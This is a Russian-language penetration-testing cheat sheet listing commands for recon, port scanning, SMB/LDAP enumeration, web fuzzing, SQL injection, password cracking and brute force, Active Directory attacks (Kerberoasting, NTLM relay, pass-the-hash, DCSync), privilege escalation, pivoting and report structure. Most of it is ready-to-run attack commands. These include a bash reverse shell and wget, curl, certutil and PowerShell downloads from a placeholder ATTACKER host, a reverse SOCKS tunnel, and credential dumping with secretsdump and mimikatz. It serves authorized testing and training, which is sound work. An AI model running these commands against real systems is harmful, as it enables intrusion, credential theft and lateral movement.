СПРАВОЧНИК ПЕНТЕСТЕРА

# Современный тулинг, которого может не быть из коробки
pipx install impacket                              # набор для Windows/AD-протоколов
pipx install git+https://github.com/Pennyw0rth/NetExec     # NetExec (форк CrackMapExec)
pipx install certipy-ad                            # атаки на AD CS
pipx install bloodhound                            # коллектор BloodHound (python)

# Go-тулинг ProjectDiscovery (рекон нового поколения)
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install github.com/ffuf/ffuf/v2@latest

# Словари
sudo apt install seclists       # огромная коллекция в /usr/share/seclists
gunzip /usr/share/wordlists/rockyou.txt.gz   # распаковать rockyou при первом запуске

# Рабочая папка на каждую цель + логирование сессии
mkdir -p target/{recon,loot,exploit,report}
script -a target/session.log      # писать весь вывод терминала в лог

whois target.com                    # регистрант, даты, NS-серверы
dig target.com ANY +noall +answer  # все доступные DNS-записи разом
dig target.com MX +short          # почтовые серверы (часто выдают провайдера)
dig target.com TXT +short         # SPF/DKIM/верификации (инфраструктурные подсказки)
dig @8.8.8.8 target.com          # запрос через конкретный резолвер
dig -x 10.10.10.10              # обратный DNS (PTR) по IP

subfinder -d target.com -silent              # чистый список поддоменов в stdout
subfinder -d target.com -all -o subs.txt      # все источники, сохранить в файл
subfinder -dL domains.txt -silent            # обработать список доменов из файла

amass enum -passive -d target.com -o amass.txt   # только пассивные источники
amass enum -active -d target.com               # + активная проверка (резолв, скан)
amass intel -org "Target Inc"                  # найти домены по названию организации
amass intel -asn 12345                       # диапазоны, принадлежащие ASN

theHarvester -d target.com -b all          # все доступные источники
theHarvester -d target.com -b bing,duckduckgo -l 500  # конкретные источники, лимит результатов

# 1) Быстрый скан ВСЕХ 65535 TCP-портов: только факт открытости
nmap -p- --min-rate 5000 -T4 10.10.10.10 -oN ports.txt
#   -p-           все порты (1-65535)
#   --min-rate    минимум пакетов/сек (ускоряет; 5000 ок для лабы)
#   -T4           агрессивный тайминг (T0 медленный/тихий ... T5 безумный)
#   -oN           вывод в человекочитаемый файл

# 2) Детальный скан ТОЛЬКО открытых портов (версии + дефолт-скрипты + ОС)
nmap -p22,80,445,3389 -sC -sV -O -A 10.10.10.10 -oN detail.txt
#   -sC   дефолтные NSE-скрипты (безопасные, информативные)
#   -sV   определение версий сервисов
#   -O    определение ОС по сетевому стеку
#   -A    агрессивный режим (= -sC -sV -O + traceroute)

nmap -p445 --script smb-vuln-* 10.10.10.10   # все SMB-vuln проверки (напр. MS17-010)
nmap -p80 --script http-enum 10.10.10.10       # перечисление web-путей/приложений
nmap --script vuln 10.10.10.10                # весь набор vuln-скриптов (шумно)
nmap -sU -p161 --script snmp-* 10.10.10.10   # SNMP-перечисление
ls /usr/share/nmap/scripts/ | grep ftp       # какие скрипты есть под сервис

sudo nmap -sU --top-ports 100 -T4 10.10.10.10   # 100 самых частых UDP-портов

sudo masscan -p1-65535 10.10.10.0/24 --rate 10000 -oL out.txt
#   --rate   пакетов/сек (осторожно: высокий rate ложит слабые сети)
#   -oL      простой список вывода

rustscan -a 10.10.10.10 -- -sC -sV    # всё после `--` уходит в nmap как есть

# NetExec: сводка по хосту, шарам, политике паролей
nxc smb 10.10.10.10                              # баннер: ОС, домен, signing, SMBv1
nxc smb 10.10.10.10 -u '' -p '' --shares          # null-сессия: список шар
nxc smb 10.10.10.10 -u guest -p '' --users         # перечисление пользователей
nxc smb 10.10.10.10 -u user -p Pass1 --pass-pol     # политика паролей (важно перед брутом)

# Классические клиенты
smbclient -L //10.10.10.10/ -N             # -L список шар, -N без пароля
smbclient //10.10.10.10/share -N          # подключиться к шаре анонимно
smbmap -H 10.10.10.10 -u guest            # права доступа к шарам (READ/WRITE)
smbmap -H 10.10.10.10 -u user -p Pass1 -R share  # -R рекурсивный обход содержимого

rpcclient -U "" -N 10.10.10.10            # null-RPC сессия
#   в шелле rpcclient:
#   enumdomusers   -- список пользователей домена
#   querydominfo   -- инфо о домене
#   enumdomgroups  -- группы

ldapsearch -x -H ldap://10.10.10.10 -b "dc=target,dc=local"  # анонимный LDAP-дамп
#   -x  простая аутентификация, -H хост, -b base DN

showmount -e 10.10.10.10                 # какие каталоги экспортированы
sudo mount -t nfs 10.10.10.10:/export /mnt/nfs   # примонтировать экспорт

snmpwalk -v2c -c public 10.10.10.10        # полный обход MIB
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.25.4.2.1.2  # список процессов
onesixtyone -c communities.txt 10.10.10.10   # брут community-string

# FTP -- проверить анонимный вход
ftp 10.10.10.10                       # логин anonymous / пустой пароль

# SSH -- баннер и поддерживаемые методы аутентификации
nc 10.10.10.10 22                      # баннер версии
ssh -v user@10.10.10.10               # -v покажет доступные auth-методы

# SMTP -- перечисление пользователей (VRFY/EXPN)
smtp-user-enum -M VRFY -U users.txt -t 10.10.10.10

subfinder -d target.com -silent | httpx -silent -title -tech-detect -status-code
#   -title       заголовок страницы
#   -tech-detect технологии (Wappalyzer-движок)
#   -status-code HTTP-код ответа
whatweb http://10.10.10.10            # детальный фингерпринт одного хоста

# Перебор директорий и файлов
ffuf -u http://10.10.10.10/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,401,403

# Перебор с расширениями
ffuf -u http://10.10.10.10/FUZZ -w list.txt -e .php,.txt,.bak,.zip

# Перебор виртуальных хостов (vhost)
ffuf -u http://10.10.10.10/ -H "Host: FUZZ.target.com" -w subdomains.txt -fs 0

# Перебор GET-параметров
ffuf -u "http://10.10.10.10/page?FUZZ=test" -w params.txt -fw 42

feroxbuster -u http://10.10.10.10 -w list.txt -x php,txt,html -d 3
#   -x  расширения, -d глубина рекурсии

gobuster dir -u http://10.10.10.10 -w list.txt -x php,txt   # директории
gobuster dns -d target.com -w subdomains.txt                # поддомены брутом
gobuster vhost -u http://10.10.10.10 -w subs.txt --append-domain  # vhost

# Сохрани запрос из Burp в req.txt, укажи уязвимый параметр через -p или *
sqlmap -r req.txt --batch                       # авто-режим, без вопросов
sqlmap -r req.txt --batch --level 3 --risk 2   # глубже проверки (1-5 / 1-3)
sqlmap -r req.txt --dbs                          # перечислить базы данных
sqlmap -r req.txt -D app --tables               # таблицы конкретной БД
sqlmap -r req.txt -D app -T users --dump        # дамп таблицы
sqlmap -r req.txt --os-shell                     # попытка получить ОС-шелл
sqlmap -r req.txt --file-read=/etc/passwd       # чтение файла (при правах)

# Брут HMAC-секрета HS256-токена
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Анализ/правка токена -- jwt_tool
jwt_tool <token> -T            # режим перебора манипуляций (tamper)

nuclei -update-templates                        # обновить базу шаблонов
nuclei -u http://10.10.10.10                  # один хост, все шаблоны
nuclei -u http://10.10.10.10 -severity high,critical   # только серьёзные
nuclei -l live-hosts.txt -tags cve,exposure    # список хостов, по тегам

searchsploit apache 2.4.49          # поиск по продукту/версии
searchsploit -m 50383                # -m скопировать эксплойт в текущую папку
searchsploit -x 50383                # -x просмотреть содержимое
searchsploit -u                          # обновить базу

# Атака по словарю
hashcat -m 1000 hashes.txt rockyou.txt
#   -m 1000  тип хэша (NTLM), см. таблицу
#   -a 0     режим по умолчанию = словарь

# Словарь + правила (мутации: Password -> P@ssw0rd1! и т.д.)
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Маска (brute по известному паттерну)
hashcat -m 1000 hashes.txt -a 3 '?u?l?l?l?l?d?d?d!'
#   -a 3  маска; ?u верхний, ?l нижний, ?d цифра, ?s спецсимвол

hashcat -m 1000 hashes.txt rockyou.txt --show   # показать уже взломанное

john --wordlist=rockyou.txt hashes.txt        # словарная атака
john --format=NT --wordlist=rockyou.txt h.txt   # явный формат
john --show hashes.txt                          # показать взломанное

# Конвертеры в john-формат:
zip2john secret.zip > zip.hash                  # пароль ZIP-архива
ssh2john id_rsa > key.hash                      # пароль приватного ключа
keepass2john db.kdbx > kp.hash                  # мастер-пароль KeePass

hydra -l admin -P rockyou.txt ssh://10.10.10.10
#   -l один логин, -L файл логинов
#   -p один пароль, -P файл паролей

# Брут HTTP POST-формы
hydra -l admin -P list.txt 10.10.10.10 http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=Invalid"
#   ^USER^/^PASS^ подстановка; F= строка-признак неудачи

cewl http://site -w words.txt -d 3       # словарь из слов сайта (-d глубина обхода)
crunch 8 8 -t @@@@%%%% -o list.txt        # маска: @ буква, % цифра

# Password spraying: ОДИН пароль на МНОГО юзеров (обходит лок-аут)
nxc smb 10.10.10.10 -u users.txt -p 'Summer2025!' --continue-on-success

# Без учётки -- пользователи и политика через null/guest
nxc smb 10.10.10.10 -u '' -p '' --users --pass-pol
enum4linux-ng -A 10.10.10.10           # комплексная энумерация SMB/AD

# С валидной учёткой -- спрей по сети, доступы, группы
nxc smb 10.10.10.0/24 -u user -p 'Passw0rd'          # где учётка валидна
nxc smb 10.10.10.10 -u user -p 'Passw0rd' --shares --groups

# Полный LDAP-дамп домена
ldapdomaindump -u 'TARGET\user' -p 'Passw0rd' 10.10.10.10

# Сбор данных удалённо (Python-коллектор)
bloodhound-python -u user -p 'Passw0rd' -d target.local -ns 10.10.10.10 -c All
#   -c All  все методы сбора; -ns DNS-сервер (обычно DC)

# Импортировать .json в BloodHound CE и смотреть готовые запросы:
#   - Shortest Paths to Domain Admins
#   - Kerberoastable / AS-REP Roastable users
#   - права от Owned-объектов (outbound control)

# AS-REP roasting (без учётки, нужен список юзеров)
impacket-GetNPUsers target.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.10

# Kerberoasting (нужна любая доменная учётка)
impacket-GetUserSPNs target.local/user:Passw0rd -dc-ip 10.10.10.10 -request

# Полученные хэши ломаем (раздел 07)
hashcat -m 18200 asrep.hash rockyou.txt    # AS-REP
hashcat -m 13100 tgs.hash rockyou.txt      # Kerberoast

sudo responder -I eth0 -wd               # слушать и отравлять (-w WPAD, -d ответы)

impacket-ntlmrelayx -tf targets.txt -smb2support  # релей на цели из файла
#   при отключённом signing -> дамп SAM / исполнение команд

# Проверка локального админа по парку (вкл. Pass-the-Hash)
nxc smb 10.10.10.0/24 -u admin -H <NTLM-hash> --local-auth
#   -H передаёт хэш вместо пароля (PtH)

# Удалённое исполнение (по нарастанию шума)
impacket-wmiexec  target.local/admin:Passw0rd@10.10.10.10   # тихо (WMI)
impacket-psexec   target.local/admin:Passw0rd@10.10.10.10   # шумно (служба)
evil-winrm -i 10.10.10.10 -u admin -p Passw0rd          # интерактивный WinRM

# DCSync -- вытащить хэши домена через репликацию (нужны права)
impacket-secretsdump target.local/admin:Passw0rd@10.10.10.10 -just-dc

# ADCS-мисконфиги (ESC1-13) -- частый быстрый путь к DA
certipy-ad find -u user@target.local -p Passw0rd -dc-ip 10.10.10.10 -vulnerable

./linpeas.sh | tee linpeas.out          # запуск + сохранение вывода
./linpeas.sh -a                         # -a максимально подробный режим

sudo -l                                 # что разрешено через sudo (часто прямой путь к root)
find / -perm -4000 -type f 2>/dev/null   # SUID-бинарники (запуск от владельца)
find / -perm -2000 -type f 2>/dev/null   # SGID-бинарники
getcap -r / 2>/dev/null                  # файлы с capabilities (напр. cap_setuid)
cat /etc/crontab; ls -la /etc/cron.*     # cron-задачи (записываемый скрипт от root?)
uname -a; cat /etc/os-release            # версия ядра/ОС -> поиск kernel-эксплойта
ps aux --forest                          # процессы от root, локальные сервисы
ss -tlnp                                 # локально слушающие порты (внутренние сервисы)

.\winPEASany.exe                        # комплексная энумерация
powershell -ep bypass                   # обойти политику запуска скриптов в сессии
Import-Module .\PowerUp.ps1; Invoke-AllChecks   # все проверки PowerUp

whoami /priv                            # привилегии токена (Se*Privilege)
whoami /groups                          # членство в группах
systeminfo                              # патчи -> поиск отсутствующих KB
cmdkey /list                            # сохранённые учётные данные
reg query HKLM\...\Winlogon             # autologon-креды в реестре
sc qc <service>                      # конфиг службы (путь, аккаунт запуска)

# На атакующей машине (proxy)
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert                       # запустить сервер с самоподписанным сертом

# На цели запускается agent -> в консоли proxy:
#   session   выбрать агента
#   start     поднять туннель
# Добавить маршрут в внутреннюю подсеть на атакующей машине:
sudo ip route add 192.168.50.0/24 dev ligolo

# Атакующая машина (сервер)
./chisel server -p 8000 --reverse        # принимать reverse-подключения

# Цель (клиент) -> reverse SOCKS на порт 1080 атакующего
./chisel client ATTACKER_IP:8000 R:1080:socks

# Завернуть инструменты через SOCKS (/etc/proxychains4.conf: socks5 127.0.0.1 1080)
proxychains nmap -sT -Pn 192.168.50.10
proxychains nxc smb 192.168.50.0/24 -u user -p pass

ssh -D 1080 user@pivot              # динамический SOCKS-прокси через pivot
ssh -L 8080:internal:80 user@pivot     # локальный форвард: localhost:8080 -> internal:80
ssh -R 9090:localhost:80 user@attacker  # обратный форвард
sshuttle -r user@pivot 192.168.50.0/24  # «VPN-подобный» pivot через SSH

# Слушатель на атакующей машине
nc -lvnp 4444                       # -l слушать, -v подробно, -n без DNS, -p порт
rlwrap nc -lvnp 4444                # rlwrap = история команд и стрелки в шелле

# Типовые нагрузки на цели (примеры синтаксиса):
bash -i >& /dev/tcp/ATTACKER/4444 0>&1     # bash
python3 -c 'import socket,subprocess,os;...'   # python (полный — на revshells)

python3 -c 'import pty;pty.spawn("/bin/bash")'   # 1) спавн pty
# 2) Ctrl+Z (фон), затем на атакующей машине:
stty raw -echo; fg                       # 3) пробросить терминал, вернуть шелл
export TERM=xterm                        # 4) корректный терминал
# альтернатива: script /dev/null -qc /bin/bash

# На атакующей машине -- HTTP-сервер из текущей папки
python3 -m http.server 80

# Linux-цель скачивает
wget http://ATTACKER/linpeas.sh -O /tmp/lp.sh
curl http://ATTACKER/linpeas.sh -o /tmp/lp.sh

# Windows-цель скачивает
certutil -urlcache -f http://ATTACKER/nc.exe nc.exe   # встроенный certutil
powershell -c "iwr http://ATTACKER/winpeas.exe -o wp.exe"   # Invoke-WebRequest

# SMB-сервер (удобно для Windows, обходит часть ограничений)
impacket-smbserver share . -smb2support
# на цели: copy \\ATTACKER\share\file.exe .

# Сбор кред-материала после захвата (авторизованно!)
impacket-secretsdump -sam sam.hive -system system.hive LOCAL   # из выгруженных hive
# mimikatz на цели:  sekurlsa::logonpasswords  -- креды из памяти LSASS

# Векторы персистентности (red team-сценарий, не на проде без согласования):
#   scheduled task / run-key / service / WMI event subscription
#   -- ровно то, что детектят DFIR-инструменты по EVTX. Замкни круг.

# Структура отчёта пентеста
1. Executive Summary   -- для руководства, без жаргона, бизнес-риск
2. Scope & Methodology -- что тестировали, по какому стандарту (PTES/OWASP)
3. Findings            -- каждая: описание, severity (CVSS), PoC, воспроизведение
4. Attack Narrative    -- хронология цепочки атаки (kill chain)
5. Remediation         -- конкретные шаги починки + приоритизация
6. Appendices          -- сырые данные, команды, артефакты, cleanup-лог

nmap -p- --min-rate 5000 -T4 IP -oN ports.txt        # все TCP-порты
nmap -pPORTS -sC -sV -A IP -oN detail.txt           # детально по открытым
subfinder -d DOMAIN -silent | httpx -silent -title -tech-detect   # живые web-хосты
nxc smb IP -u '' -p '' --shares                     # SMB null-сессия

ffuf -u http://IP/FUZZ -w list.txt -mc 200,301,302,401,403   # директории
sqlmap -r req.txt --batch --dbs                       # SQLi -> базы
nuclei -u http://IP -severity high,critical            # шаблонный скан

impacket-GetNPUsers DOM/ -usersfile u.txt -no-pass -dc-ip IP   # AS-REP
impacket-GetUserSPNs DOM/user:pass -dc-ip IP -request        # Kerberoast
bloodhound-python -u user -p pass -d DOM -ns IP -c All      # сбор графа
impacket-secretsdump DOM/admin:pass@IP -just-dc            # DCSync
nxc smb CIDR -u admin -H HASH --local-auth               # Pass-the-Hash

sudo -l; find / -perm -4000 -type f 2>/dev/null      # Linux privesc-старт
whoami /priv; systeminfo                             # Windows privesc-старт
nc -lvnp 4444                                        # слушатель
python3 -c 'import pty;pty.spawn("/bin/bash")'       # спавн TTY
python3 -m http.server 80                            # раздать файлы
certutil -urlcache -f http://ATT/nc.exe nc.exe       # Windows-скачивание

-m 0      MD5            -m 1000   NTLM
-m 100    SHA1           -m 5600   NetNTLMv2
-m 1800   sha512crypt    -m 13100  Kerberoast (TGS)
-m 3200   bcrypt         -m 18200  AS-REP
-m 16500  JWT (HS256)    -m 22000  WPA-PBKDF2